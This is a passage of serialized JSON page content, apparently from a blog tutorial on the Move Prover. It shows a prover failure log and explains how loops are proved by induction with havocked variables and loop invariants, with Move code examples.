`",{"type":24,"tag":90,"props":12743,"children":12744},{"style":108},[12745],{"type":29,"value":10702},{"type":24,"tag":90,"props":12747,"children":12748},{"style":1085},[12749],{"type":29,"value":12750},"`",{"type":24,"tag":90,"props":12752,"children":12753},{"style":108},[12754],{"type":29,"value":12755}," clauses\n",{"type":24,"tag":90,"props":12757,"children":12758},{"class":92,"line":248},[12759,12764,12769,12773],{"type":24,"tag":90,"props":12760,"children":12761},{"style":108},[12762],{"type":29,"value":12763},"╭",{"type":24,"tag":90,"props":12765,"children":12766},{"style":1085},[12767],{"type":29,"value":12768}," spec",{"type":24,"tag":90,"props":12770,"children":12771},{"style":1085},[12772],{"type":29,"value":11954},{"type":24,"tag":90,"props":12774,"children":12775},{"style":1085},[12776],{"type":29,"value":269},{"type":24,"tag":90,"props":12778,"children":12779},{"class":92,"line":258},[12780,12785,12790,12794,12798,12802,12806,12810,12814,12818,12822,12826,12831,12835,12839,12843,12847,12851,12855,12859,12863],{"type":24,"tag":90,"props":12781,"children":12782},{"style":120},[12783],{"type":29,"value":12784},"|",{"type":24,"tag":90,"props":12786,"children":12787},{"style":108},[12788],{"type":29,"value":12789}," aborts_if",{"type":24,"tag":90,"props":12791,"children":12792},{"style":1085},[12793],{"type":29,"value":12073},{"type":24,"tag":90,"props":12795,"children":12796},{"style":114},[12797],{"type":29,"value":117},{"type":24,"tag":90,"props":12799,"children":12800},{"style":108},[12801],{"type":29,"value":69},{"type":24,"tag":90,"props":12803,"children":12804},{"style":114},[12805],{"type":29,"value":172},{"type":24,"tag":90,"props":12807,"children":12808},{"style":1085},[12809],{"type":29,"value":6767},{"type":24,"tag":90,"props":12811,"children":12812},{"style":1085},[12813],{"type":29,"value":12073},{"type":24,"tag":90,"props":12815,"children":12816},{"style":114},[12817],{"type":29,"value":117},{"type":24,"tag":90,"props":12819,"children":12820},{"style":108},[12821],{"type":29,"value":5617},{"type":24,"tag":90,"props":12823,"children":12824},{"style":114},[12825],{"type":29,"value":172},{"type":24,"tag":90,"props":12827,"children":12828},{"style":120},[12829],{"type":29,"value":12830},">",{"type":24,"tag":90,"props":12832,"children":12833},{"style":1085},[12834],{"type":29,"value":5491},{"type":24,"tag":90,"props":12836,"children":12837},{"style":1085},[12838],{"type":29,"value":12029},{"type":24,"tag":90,"props":12840,"children":12841},{"style":97},[12842],{"type":29,"value":366},{"type":24,"tag":90,"props":12844,"children":12845},{"style":1085},[12846],{"type":29,"value":12029},{"type":24,"tag":90,"props":12848,"children":12849},{"style":97},[12850],{"type":29,"value":366},{"type":24,"tag":90,"props":12852,"children":12853},{"style":1085},[12854],{"type":29,"value":12029},{"type":24,"tag":90,"props":12856,"children":12857},{"style":97},[12858],{"type":29,"value":366},{"type":24,"tag":90,"props":12860,"children":12861},{"style":1085},[12862],{"type":29,"value":12029},{"type":24,"tag":90,"props":12864,"children":12865},{"style":114},[12866],{"type":29,"value":381},{"type":24,"tag":90,"props":12868,"children":12869},{"class":92,"line":272},[12870,12874,12879,12883,12887,12891,12895,12899,12903,12907,12911,12915,12919,12923,12927,12931],{"type":24,"tag":90,"props":12871,"children":12872},{"style":120},[12873],{"type":29,"value":12784},{"type":24,"tag":90,"props":12875,"children":12876},{"style":108},[12877],{"type":29,"value":12878}," ensures",{"type":24,"tag":90,"props":12880,"children":12881},{"style":1085},[12882],{"type":29,"value":12073},{"type":24,"tag":90,"props":12884,"children":12885},{"style":114},[12886],{"type":29,"value":117},{"type":24,"tag":90,"props":12888,"children":12889},{"style":108},[12890],{"type":29,"value":11456},{"type":24,"tag":90,"props":12892,"children":12893},{"style":114},[12894],{"type":29,"value":172},{"type":24,"tag":90,"props":12896,"children":12897},{"style":1085},[12898],{"type":29,"value":10951},{"type":24,"tag":90,"props":12900,"children":12901},{"style":1085},[12902],{"type":29,"value":12073},{"type":24,"tag":90,"props":12904,"children":12905},{"style":114},[12906],{"type":29,"value":117},{"type":24,"tag":90,"props":12908,"children":12909},{"style":108},[12910],{"type":29,"value":69},{"type":24,"tag":90,"props":12912,"children":12913},{"style":114},[12914],{"type":29,"value":172},{"type":24,"tag":90,"props":12916,"children":12917},{"style":1085},[12918],{"type":29,"value":6767},{"type":24,"tag":90,"props":12920,"children":12921},{"style":1085},[12922],{"type":29,"value":12073},{"type":24,"tag":90,"props":12924,"children":12925},{"style":114},[12926],{"type":29,"value":117},{"type":24,"tag":90,"props":12928,"children":12929},{"style":108},[12930],{"type":29,"value":5617},{"type":24,"tag":90,"props":12932,"children":12933},{"style":114},[12934],{"type":29,"value":571},{"type":24,"tag":90,"props":12936,"children":12937},{"class":92,"line":281},[12938,12942],{"type":24,"tag":90,"props":12939,"children":12940},{"style":120},[12941],{"type":29,"value":12784},{"type":24,"tag":90,"props":12943,"children":12944},{"style":114},[12945],{"type":29,"value":12946}," }\n",{"type":24,"tag":90,"props":12948,"children":12949},{"class":92,"line":384},[12950],{"type":24,"tag":90,"props":12951,"children":12952},{"style":108},[12953],{"type":29,"value":12954},"╰─────^\n",{"type":24,"tag":90,"props":12956,"children":12957},{"class":92,"line":420},[12958],{"type":24,"tag":90,"props":12959,"children":12960},{"emptyLinePlaceholder":16},[12961],{"type":29,"value":245},{"type":24,"tag":90,"props":12963,"children":12964},{"class":92,"line":428},[12965],{"type":24,"tag":90,"props":12966,"children":12967},{"style":114},[12968],{"type":29,"value":12686},{"type":24,"tag":90,"props":12970,"children":12971},{"class":92,"line":437},[12972],{"type":24,"tag":90,"props":12973,"children":12974},{"emptyLinePlaceholder":16},[12975],{"type":29,"value":245},{"type":24,"tag":90,"props":12977,"children":12978},{"class":92,"line":574},[12979,12984,12989],{"type":24,"tag":90,"props":12980,"children":12981},{"style":108},[12982],{"type":29,"value":12983}," at",{"type":24,"tag":90,"props":12985,"children":12986},{"style":1085},[12987],{"type":29,"value":12988}," ./sources/u256.move:316:",{"type":24,"tag":90,"props":12990,"children":12991},{"style":1085},[12992],{"type":29,"value":12993}," add\n",{"type":24,"tag":90,"props":12995,"children":12996},{"class":92,"line":606},[12997,13002,13007,13012,13016,13021,13025,13030,13035,13040,13045,13050],{"type":24,"tag":90,"props":12998,"children":12999},{"style":108},[13000],{"type":29,"value":13001}," enter",{"type":24,"tag":90,"props":13003,"children":13004},{"style":1085},[13005],{"type":29,"value":13006}," loop,",{"type":24,"tag":90,"props":13008,"children":13009},{"style":1085},[13010],{"type":29,"value":13011}," variable",{"type":24,"tag":90,"props":13013,"children":13014},{"style":114},[13015],{"type":29,"value":117},{"type":24,"tag":90,"props":13017,"children":13018},{"style":108},[13019],{"type":29,"value":13020},"s",{"type":24,"tag":90,"props":13022,"children":13023},{"style":114},[13024],{"type":29,"value":172},{"type":24,"tag":90,"props":13026,"children":13027},{"style":1085},[13028],{"type":29,"value":13029},"carry,",{"type":24,"tag":90,"props":13031,"children":13032},{"style":1085},[13033],{"type":29,"value":13034}," i,",{"type":24,"tag":90,"props":13036,"children":13037},{"style":1085},[13038],{"type":29,"value":13039}," ret",{"type":24,"tag":90,"props":13041,"children":13042},{"style":1085},[13043],{"type":29,"value":13044}," havocked",{"type":24,"tag":90,"props":13046,"children":13047},{"style":1085},[13048],{"type":29,"value":13049}," and",{"type":24,"tag":90,"props":13051,"children":13052},{"style":1085},[13053],{"type":29,"value":13054}," reassigned\n",{"type":24,"tag":90,"props":13056,"children":13057},{"class":92,"line":615},[13058,13063,13067],{"type":24,"tag":90,"props":13059,"children":13060},{"style":108},[13061],{"type":29,"value":13062}," carry",{"type":24,"tag":90,"props":13064,"children":13065},{"style":1085},[13066],{"type":29,"value":216},{"type":24,"tag":90,"props":13068,"children":13069},{"style":349},[13070],{"type":29,"value":13071}," 54\n",{"type":24,"tag":90,"props":13073,"children":13074},{"class":92,"line":623},[13075,13080,13084],{"type":24,"tag":90,"props":13076,"children":13077},{"style":108},[13078],{"type":29,"value":13079}," i",{"type":24,"tag":90,"props":13081,"children":13082},{"style":1085},[13083],{"type":29,"value":216},{"type":24,"tag":90,"props":13085,"children":13086},{"style":349},[13087],{"type":29,"value":13088}," 3792\n",{"type":24,"tag":90,"props":13090,"children":13091},{"class":92,"line":632},[13092,13097,13101,13106,13110,13115,13120,13124,13129,13134,13138,13143,13148,13152,13157],{"type":24,"tag":90,"props":13093,"children":13094},{"style":108},[13095],{"type":29,"value":13096}," ret",{"type":24,"tag":90,"props":13098,"children":13099},{"style":1085},[13100],{"type":29,"value":216},{"type":24,"tag":90,"props":13102,"children":13103},{"style":1085},[13104],{"type":29,"value":13105}," u256.U256{v0",{"type":24,"tag":90,"props":13107,"children":13108},{"style":1085},[13109],{"type":29,"value":216},{"type":24,"tag":90,"props":13111,"children":13112},{"style":1085},[13113],{"type":29,"value":13114}," 26418,",{"type":24,"tag":90,"props":13116,"children":13117},{"style":1085},[13118],{"type":29,"value":13119}," v1",{"type":24,"tag":90,"props":13121,"children":13122},{"style":1085},[13123],{"type":29,"value":216},{"type":24,"tag":90,"props":13125,"children":13126},{"style":1085},[13127],{"type":29,"value":13128}," 27938,",{"type":24,"tag":90,"props":13130,"children":13131},{"style":1085},[13132],{"type":29,"value":13133}," v2",{"type":24,"tag":90,"props":13135,"children":13136},{"style":1085},[13137],{"type":29,"value":216},{"type":24,"tag":90,"props":13139,"children":13140},{"style":1085},[13141],{"type":29,"value":13142}," 6900,",{"type":24,"tag":90,"props":13144,"children":13145},{"style":1085},[13146],{"type":29,"value":13147}," v3",{"type":24,"tag":90,"props":13149,"children":13150},{"style":1085},[13151],{"type":29,"value":216},{"type":24,"tag":90,"props":13153,"children":13154},{"style":349},[13155],{"type":29,"value":13156}," 1999",{"type":24,"tag":90,"props":13158,"children":13159},{"style":1085},[13160],{"type":29,"value":827},{"type":24,"tag":90,"props":13162,"children":13163},{"class":92,"line":669},[13164,13168,13173],{"type":24,"tag":90,"props":13165,"children":13166},{"style":108},[13167],{"type":29,"value":12983},{"type":24,"tag":90,"props":13169,"children":13170},{"style":1085},[13171],{"type":29,"value":13172}," ./sources/u256.move:346:",{"type":24,"tag":90,"props":13174,"children":13175},{"style":1085},[13176],{"type":29,"value":12993},{"type":24,"tag":90,"props":13178,"children":13179},{"class":92,"line":683},[13180],{"type":24,"tag":90,"props":13181,"children":13182},{"style":108},[13183],{"type":29,"value":13184}," ABORTED\n",{"type":24,"tag":90,"props":13186,"children":13187},{"class":92,"line":737},[13188],{"type":24,"tag":90,"props":13189,"children":13190},{"emptyLinePlaceholder":16},[13191],{"type":29,"value":245},{"type":24,"tag":90,"props":13193,"children":13194},{"class":92,"line":751},[13195,13200,13205,13209,13214,13219,13224,13228,13233,13237],{"type":24,"tag":90,"props":13196,"children":13197},{"style":108},[13198],{"type":29,"value":13199},"FAILURE",{"type":24,"tag":90,"props":13201,"children":13202},{"style":1085},[13203],{"type":29,"value":13204}," proving",{"type":24,"tag":90,"props":13206,"children":13207},{"style":349},[13208],{"type":29,"value":6909},{"type":24,"tag":90,"props":13210,"children":13211},{"style":1085},[13212],{"type":29,"value":13213}," modules",{"type":24,"tag":90,"props":13215,"children":13216},{"style":1085},[13217],{"type":29,"value":13218}," from",{"type":24,"tag":90,"props":13220,"children":13221},{"style":1085},[13222],{"type":29,"value":13223}," package",{"type":24,"tag":90,"props":13225,"children":13226},{"style":1085},[13227],{"type":29,"value":12741},{"type":24,"tag":90,"props":13229,"children":13230},{"style":108},[13231],{"type":29,"value":13232},"u256",{"type":24,"tag":90,"props":13234,"children":13235},{"style":1085},[13236],{"type":29,"value":12750},{"type":24,"tag":90,"props":13238,"children":13239},{"style":114},[13240],{"type":29,"value":13241}," in 9.143s\n",{"type":24,"tag":90,"props":13243,"children":13244},{"class":92,"line":782},[13245],{"type":24,"tag":90,"props":13246,"children":13247},{"style":114},[13248],{"type":29,"value":2221},{"type":24,"tag":90,"props":13250,"children":13251},{"class":92,"line":791},[13252,13257,13261],{"type":24,"tag":90,"props":13253,"children":13254},{"style":108},[13255],{"type":29,"value":13256}," \"Error\"",{"type":24,"tag":90,"props":13258,"children":13259},{"style":108},[13260],{"type":29,"value":78},{"type":24,"tag":90,"props":13262,"children":13263},{"style":1085},[13264],{"type":29,"value":13265}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":90,"props":13267,"children":13268},{"class":92,"line":799},[13269],{"type":24,"tag":90,"props":13270,"children":13271},{"style":114},[13272],{"type":29,"value":827},{"type":24,"tag":25,"props":13274,"children":13275},{},[13276,13278,13283],{"type":29,"value":13277},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":32,"props":13279,"children":13281},{"className":13280},[],[13282],{"type":29,"value":10702},{"type":29,"value":13284}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":25,"props":13286,"children":13287},{},[13288,13290,13296],{"type":29,"value":13289},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":32,"props":13291,"children":13293},{"className":13292},[],[13294],{"type":29,"value":13295},"ret havocked and reassigned",{"type":29,"value":226},{"type":24,"tag":25,"props":13298,"children":13299},{},[13300],{"type":29,"value":13301},"What does this mean?",{"type":24,"tag":25,"props":13303,"children":13304},{},[13305,13307,13314],{"type":29,"value":13306},"By diving into the Move Prover source, we find a ",{"type":24,"tag":69,"props":13308,"children":13311},{"href":13309,"rel":13310},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[73],[13312],{"type":29,"value":13313},"likely suspect",{"type":29,"value":13315},". The prover attempts to prove all loops with induction!",{"type":24,"tag":25,"props":13317,"children":13318},{},[13319],{"type":29,"value":13320},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":3100,"props":13322,"children":13323},{},[13324,13329],{"type":24,"tag":3104,"props":13325,"children":13326},{},[13327],{"type":29,"value":13328},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":3104,"props":13330,"children":13331},{},[13332],{"type":29,"value":13333},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":25,"props":13335,"children":13336},{},[13337,13339,13344,13346,13352,13353,13359,13361,13366,13368,13373],{"type":29,"value":13338},"The loop prover will also ",{"type":24,"tag":7711,"props":13340,"children":13341},{},[13342],{"type":29,"value":13343},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":13345},". Going back to the log message, this implies that the variables ",{"type":24,"tag":32,"props":13347,"children":13349},{"className":13348},[],[13350],{"type":29,"value":13351},"carry",{"type":29,"value":133},{"type":24,"tag":32,"props":13354,"children":13356},{"className":13355},[],[13357],{"type":29,"value":13358},"ret",{"type":29,"value":13360}," and ",{"type":24,"tag":32,"props":13362,"children":13364},{"className":13363},[],[13365],{"type":29,"value":6123},{"type":29,"value":13367}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":32,"props":13369,"children":13371},{"className":13370},[],[13372],{"type":29,"value":1505},{"type":29,"value":13374}," makes no sense.",{"type":24,"tag":25,"props":13376,"children":13377},{},[13378],{"type":29,"value":13379},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":3100,"props":13381,"children":13382},{},[13383,13388,13393,13398,13403,13408],{"type":24,"tag":3104,"props":13384,"children":13385},{},[13386],{"type":29,"value":13387},"Assert the loop invariant",{"type":24,"tag":3104,"props":13389,"children":13390},{},[13391],{"type":29,"value":13392},"Havoc all modified variables",{"type":24,"tag":3104,"props":13394,"children":13395},{},[13396],{"type":29,"value":13397},"Assume the loop invariant",{"type":24,"tag":3104,"props":13399,"children":13400},{},[13401],{"type":29,"value":13402},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":3104,"props":13404,"children":13405},{},[13406],{"type":29,"value":13407},"Run the loop body",{"type":24,"tag":3104,"props":13409,"children":13410},{},[13411],{"type":29,"value":13387},{"type":24,"tag":25,"props":13413,"children":13414},{},[13415],{"type":29,"value":13416},"There are two approaches to dealing with loops.",{"type":24,"tag":25,"props":13418,"children":13419},{},[13420],{"type":29,"value":13421},"The first would be to specify a loop invariant.",{"type":24,"tag":25,"props":13423,"children":13424},{},[13425,13427,13434],{"type":29,"value":13426},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":24,"tag":69,"props":13428,"children":13431},{"href":13429,"rel":13430},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[73],[13432],{"type":29,"value":13433},"previous post",{"type":29,"value":226},{"type":24,"tag":80,"props":13436,"children":13438},{"code":13437,"language":84,"meta":7,"className":82,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[13439],{"type":24,"tag":32,"props":13440,"children":13441},{"__ignoreMap":7},[13442,13454,13465,13501,13524,13607,13614,13638,13646,13666,13686,13777,13784,13812],{"type":24,"tag":90,"props":13443,"children":13444},{"class":92,"line":93},[13445,13450],{"type":24,"tag":90,"props":13446,"children":13447},{"style":636},[13448],{"type":29,"value":13449}," while",{"type":24,"tag":90,"props":13451,"children":13452},{"style":114},[13453],{"type":29,"value":10908},{"type":24,"tag":90,"props":13455,"children":13456},{"class":92,"line":200},[13457,13461],{"type":24,"tag":90,"props":13458,"children":13459},{"style":136},[13460],{"type":29,"value":11301},{"type":24,"tag":90,"props":13462,"children":13463},{"style":114},[13464],{"type":29,"value":269},{"type":24,"tag":90,"props":13466,"children":13467},{"class":92,"line":239},[13468,13473,13477,13481,13485,13489,13493,13497],{"type":24,"tag":90,"props":13469,"children":13470},{"style":136},[13471],{"type":29,"value":13472}," invariant",{"type":24,"tag":90,"props":13474,"children":13475},{"style":108},[13476],{"type":29,"value":10933},{"type":24,"tag":90,"props":13478,"children":13479},{"style":114},[13480],{"type":29,"value":117},{"type":24,"tag":90,"props":13482,"children":13483},{"style":136},[13484],{"type":29,"value":10942},{"type":24,"tag":90,"props":13486,"children":13487},{"style":114},[13488],{"type":29,"value":172},{"type":24,"tag":90,"props":13490,"children":13491},{"style":120},[13492],{"type":29,"value":10951},{"type":24,"tag":90,"props":13494,"children":13495},{"style":136},[13496],{"type":29,"value":5790},{"type":24,"tag":90,"props":13498,"children":13499},{"style":114},[13500],{"type":29,"value":381},{"type":24,"tag":90,"props":13502,"children":13503},{"class":92,"line":248},[13504,13508,13512,13516,13520],{"type":24,"tag":90,"props":13505,"children":13506},{"style":136},[13507],{"type":29,"value":13472},{"type":24,"tag":90,"props":13509,"children":13510},{"style":136},[13511],{"type":29,"value":5790},{"type":24,"tag":90,"props":13513,"children":13514},{"style":120},[13515],{"type":29,"value":10574},{"type":24,"tag":90,"props":13517,"children":13518},{"style":136},[13519],{"type":29,"value":10862},{"type":24,"tag":90,"props":13521,"children":13522},{"style":114},[13523],{"type":29,"value":381},{"type":24,"tag":90,"props":13525,"children":13526},{"class":92,"line":258},[13527,13531,13535,13539,13543,13547,13551,13555,13559,13563,13567,13571,13575,13579,13583,13587,13591,13595,13599,13603],{"type":24,"tag":90,"props":13528,"children":13529},{"style":136},[13530],{"type":29,"value":13472},{"type":24,"tag":90,"props":13532,"children":13533},{"style":136},[13534],{"type":29,"value":10994},{"type":24,"tag":90,"props":13536,"children":13537},{"style":136},[13538],{"type":29,"value":10999},{"type":24,"tag":90,"props":13540,"children":13541},{"style":97},[13542],{"type":29,"value":5443},{"type":24,"tag":90,"props":13544,"children":13545},{"style":349},[13546],{"type":29,"value":5448},{"type":24,"tag":90,"props":13548,"children":13549},{"style":120},[13550],{"type":29,"value":729},{"type":24,"tag":90,"props":13552,"children":13553},{"style":136},[13554],{"type":29,"value":6123},{"type":24,"tag":90,"props":13556,"children":13557},{"style":120},[13558],{"type":29,"value":78},{"type":24,"tag":90,"props":13560,"children":13561},{"style":136},[13562],{"type":29,"value":10798},{"type":24,"tag":90,"props":13564,"children":13565},{"style":114},[13566],{"type":29,"value":719},{"type":24,"tag":90,"props":13568,"children":13569},{"style":136},[13570],{"type":29,"value":11032},{"type":24,"tag":90,"props":13572,"children":13573},{"style":114},[13574],{"type":29,"value":11037},{"type":24,"tag":90,"props":13576,"children":13577},{"style":120},[13578],{"type":29,"value":10951},{"type":24,"tag":90,"props":13580,"children":13581},{"style":136},[13582],{"type":29,"value":11046},{"type":24,"tag":90,"props":13584,"children":13585},{"style":114},[13586],{"type":29,"value":719},{"type":24,"tag":90,"props":13588,"children":13589},{"style":136},[13590],{"type":29,"value":11032},{"type":24,"tag":90,"props":13592,"children":13593},{"style":114},[13594],{"type":29,"value":11037},{"type":24,"tag":90,"props":13596,"children":13597},{"style":120},[13598],{"type":29,"value":983},{"type":24,"tag":90,"props":13600,"children":13601},{"style":136},[13602],{"type":29,"value":10862},{"type":24,"tag":90,"props":13604,"children":13605},{"style":114},[13606],{"type":29,"value":381},{"type":24,"tag":90,"props":13608,"children":13609},{"class":92,"line":272},[13610],{"type":24,"tag":90,"props":13611,"children":13612},{"style":114},[13613],{"type":29,"value":11293},{"type":24,"tag":90,"props":13615,"children":13616},{"class":92,"line":281},[13617,13622,13626,13630,13634],{"type":24,"tag":90,"props":13618,"children":13619},{"style":114},[13620],{"type":29,"value":13621}," (",{"type":24,"tag":90,"props":13623,"children":13624},{"style":136},[13625],{"type":29,"value":6123},{"type":24,"tag":90,"props":13627,"children":13628},{"style":120},[13629],{"type":29,"value":11095},{"type":24,"tag":90,"props":13631,"children":13632},{"style":136},[13633],{"type":29,"value":10862},{"type":24,"tag":90,"props":13635,"children":13636},{"style":114},[13637],{"type":29,"value":1686},{"type":24,"tag":90,"props":13639,"children":13640},{"class":92,"line":384},[13641],{"type":24,"tag":90,"props":13642,"children":13643},{"style":114},[13644],{"type":29,"value":13645}," }) {\n",{"type":24,"tag":90,"props":13647,"children":13648},{"class":92,"line":420},[13649,13654,13658,13662],{"type":24,"tag":90,"props":13650,"children":13651},{"style":114},[13652],{"type":29,"value":13653}," vector",{"type":24,"tag":90,"props":13655,"children":13656},{"style":120},[13657],{"type":29,"value":1211},{"type":24,"tag":90,"props":13659,"children":13660},{"style":108},[13661],{"type":29,"value":11128},{"type":24,"tag":90,"props":13663,"children":13664},{"style":114},[13665],{"type":29,"value":680},{"type":24,"tag":90,"props":13667,"children":13668},{"class":92,"line":428},[13669,13674,13678,13682],{"type":24,"tag":90,"props":13670,"children":13671},{"style":120},[13672],{"type":29,"value":13673}," &",{"type":24,"tag":90,"props":13675,"children":13676},{"style":97},[13677],{"type":29,"value":371},{"type":24,"tag":90,"props":13679,"children":13680},{"style":136},[13681],{"type":29,"value":10798},{"type":24,"tag":90,"props":13683,"children":13684},{"style":114},[13685],{"type":29,"value":748},{"type":24,"tag":90,"props":13687,"children":13688},{"class":92,"line":437},[13689,13693,13697,13701,13705,13709,13713,13717,13721,13725,13729,13733,13737,13741,13745,13749,13753,13757,13761,13765,13769,13773],{"type":24,"tag":90,"props":13690,"children":13691},{"style":114},[13692],{"type":29,"value":11086},{"type":24,"tag":90,"props":13694,"children":13695},{"style":120},[13696],{"type":29,"value":983},{"type":24,"tag":90,"props":13698,"children":13699},{"style":114},[13700],{"type":29,"value":11169},{"type":24,"tag":90,"props":13702,"children":13703},{"style":120},[13704],{"type":29,"value":1211},{"type":24,"tag":90,"props":13706,"children":13707},{"style":108},[13708],{"type":29,"value":2875},{"type":24,"tag":90,"props":13710,"children":13711},{"style":114},[13712],{"type":29,"value":117},{"type":24,"tag":90,"props":13714,"children":13715},{"style":120},[13716],{"type":29,"value":123},{"type":24,"tag":90,"props":13718,"children":13719},{"style":136},[13720],{"type":29,"value":1106},{"type":24,"tag":90,"props":13722,"children":13723},{"style":114},[13724],{"type":29,"value":11194},{"type":24,"tag":90,"props":13726,"children":13727},{"style":136},[13728],{"type":29,"value":6123},{"type":24,"tag":90,"props":13730,"children":13731},{"style":97},[13732],{"type":29,"value":409},{"type":24,"tag":90,"props":13734,"children":13735},{"style":146},[13736],{"type":29,"value":376},{"type":24,"tag":90,"props":13738,"children":13739},{"style":114},[13740],{"type":29,"value":11211},{"type":24,"tag":90,"props":13742,"children":13743},{"style":97},[13744],{"type":29,"value":361},{"type":24,"tag":90,"props":13746,"children":13747},{"style":146},[13748],{"type":29,"value":11220},{"type":24,"tag":90,"props":13750,"children":13751},{"style":114},[13752],{"type":29,"value":172},{"type":24,"tag":90,"props":13754,"children":13755},{"style":120},[13756],{"type":29,"value":983},{"type":24,"tag":90,"props":13758,"children":13759},{"style":114},[13760],{"type":29,"value":1151},{"type":24,"tag":90,"props":13762,"children":13763},{"style":136},[13764],{"type":29,"value":11237},{"type":24,"tag":90,"props":13766,"children":13767},{"style":97},[13768],{"type":29,"value":409},{"type":24,"tag":90,"props":13770,"children":13771},{"style":146},[13772],{"type":29,"value":11220},{"type":24,"tag":90,"props":13774,"children":13775},{"style":114},[13776],{"type":29,"value":1686},{"type":24,"tag":90,"props":13778,"children":13779},{"class":92,"line":574},[13780],{"type":24,"tag":90,"props":13781,"children":13782},{"style":114},[13783],{"type":29,"value":9150},{"type":24,"tag":90,"props":13785,"children":13786},{"class":92,"line":606},[13787,13792,13796,13800,13804,13808],{"type":24,"tag":90,"props":13788,"children":13789},{"style":136},[13790],{"type":29,"value":13791}," i",{"type":24,"tag":90,"props":13793,"children":13794},{"style":120},[13795],{"type":29,"value":216},{"type":24,"tag":90,"props":13797,"children":13798},{"style":136},[13799],{"type":29,"value":5790},{"type":24,"tag":90,"props":13801,"children":13802},{"style":120},[13803],{"type":29,"value":1714},{"type":24,"tag":90,"props":13805,"children":13806},{"style":349},[13807],{"type":29,"value":6909},{"type":24,"tag":90,"props":13809,"children":13810},{"style":114},[13811],{"type":29,"value":381},{"type":24,"tag":90,"props":13813,"children":13814},{"class":92,"line":615},[13815],{"type":24,"tag":90,"props":13816,"children":13817},{"style":114},[13818],{"type":29,"value":13819}," };\n",{"type":24,"tag":25,"props":13821,"children":13822},{},[13823,13825,13831,13833,13838,13840,13846],{"type":29,"value":13824},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":32,"props":13826,"children":13828},{"className":13827},[],[13829],{"type":29,"value":13830},"while",{"type":29,"value":13832}," loop. Note that because the loop invariant executes ",{"type":24,"tag":842,"props":13834,"children":13835},{},[13836],{"type":29,"value":13837},"after",{"type":29,"value":13839}," the loop guard, so we need to account for an extra step with ",{"type":24,"tag":32,"props":13841,"children":13843},{"className":13842},[],[13844],{"type":29,"value":13845},"i \u003C= n_coins",{"type":29,"value":226},{"type":24,"tag":80,"props":13848,"children":13850},{"code":13849,"language":84,"meta":7,"className":82,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[13851],{"type":24,"tag":32,"props":13852,"children":13853},{"__ignoreMap":7},[13854,13865,13876,13911,13934,14017,14024,14047],{"type":24,"tag":90,"props":13855,"children":13856},{"class":92,"line":93},[13857,13861],{"type":24,"tag":90,"props":13858,"children":13859},{"style":636},[13860],{"type":29,"value":13449},{"type":24,"tag":90,"props":13862,"children":13863},{"style":114},[13864],{"type":29,"value":10908},{"type":24,"tag":90,"props":13866,"children":13867},{"class":92,"line":200},[13868,13872],{"type":24,"tag":90,"props":13869,"children":13870},{"style":136},[13871],{"type":29,"value":11301},{"type":24,"tag":90,"props":13873,"children":13874},{"style":114},[13875],{"type":29,"value":269},{"type":24,"tag":90,"props":13877,"children":13878},{"class":92,"line":239},[13879,13883,13887,13891,13895,13899,13903,13907],{"type":24,"tag":90,"props":13880,"children":13881},{"style":136},[13882],{"type":29,"value":13472},{"type":24,"tag":90,"props":13884,"children":13885},{"style":108},[13886],{"type":29,"value":10933},{"type":24,"tag":90,"props":13888,"children":13889},{"style":114},[13890],{"type":29,"value":117},{"type":24,"tag":90,"props":13892,"children":13893},{"style":136},[13894],{"type":29,"value":10942},{"type":24,"tag":90,"props":13896,"children":13897},{"style":114},[13898],{"type":29,"value":172},{"type":24,"tag":90,"props":13900,"children":13901},{"style":120},[13902],{"type":29,"value":10951},{"type":24,"tag":90,"props":13904,"children":13905},{"style":136},[13906],{"type":29,"value":5790},{"type":24,"tag":90,"props":13908,"children":13909},{"style":114},[13910],{"type":29,"value":381},{"type":24,"tag":90,"props":13912,"children":13913},{"class":92,"line":248},[13914,13918,13922,13926,13930],{"type":24,"tag":90,"props":13915,"children":13916},{"style":136},[13917],{"type":29,"value":13472},{"type":24,"tag":90,"props":13919,"children":13920},{"style":136},[13921],{"type":29,"value":5790},{"type":24,"tag":90,"props":13923,"children":13924},{"style":120},[13925],{"type":29,"value":10574},{"type":24,"tag":90,"props":13927,"children":13928},{"style":136},[13929],{"type":29,"value":10862},{"type":24,"tag":90,"props":13931,"children":13932},{"style":114},[13933],{"type":29,"value":381},{"type":24,"tag":90,"props":13935,"children":13936},{"class":92,"line":258},[13937,13941,13945,13949,13953,13957,13961,13965,13969,13973,13977,13981,13985,13989,13993,13997,14001,14005,14009,14013],{"type":24,"tag":90,"props":13938,"children":13939},{"style":136},[13940],{"type":29,"value":13472},{"type":24,"tag":90,"props":13942,"children":13943},{"style":136},[13944],{"type":29,"value":10994},{"type":24,"tag":90,"props":13946,"children":13947},{"style":136},[13948],{"type":29,"value":10999},{"type":24,"tag":90,"props":13950,"children":13951},{"style":97},[13952],{"type":29,"value":5443},{"type":24,"tag":90,"props":13954,"children":13955},{"style":349},[13956],{"type":29,"value":5448},{"type":24,"tag":90,"props":13958,"children":13959},{"style":120},[13960],{"type":29,"value":729},{"type":24,"ta